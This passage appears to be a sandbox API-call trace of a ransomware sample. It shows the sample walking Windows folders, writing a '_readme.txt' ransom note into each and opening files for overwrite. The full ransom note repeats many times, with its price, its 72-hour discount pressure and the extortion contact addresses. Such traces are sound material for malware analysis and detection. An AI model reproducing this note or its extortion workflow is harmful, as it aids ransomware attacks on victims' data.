(pszPath="") returned="" [0112.809] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.810] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.810] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.810] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.810] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0112.810] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0112.810] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.810] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.810] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.810] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0112.810] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.811] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.811] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.811] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.811] PathFindFileNameW (pszPath="") returned="" [0112.811] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.812] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.812] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.812] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.812] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.812] PathFindExtensionW (pszPath="C:\\Users\\desktop.ini") returned=".ini" [0112.812] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.812] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.812] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.812] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.812] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.812] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0112.812] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.812] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.813] PathFindFileNameW (pszPath="") returned="" [0112.813] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.813] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.813] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.813] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.813] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0112.813] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0112.813] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.813] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.813] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.814] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.814] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0112.814] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.814] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.814] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.814] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.815] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0112.815] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.815] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.815] PathFindFileNameW (pszPath="") returned="" [0112.815] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.815] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.815] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.815] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.815] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0112.815] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0112.815] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.815] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this 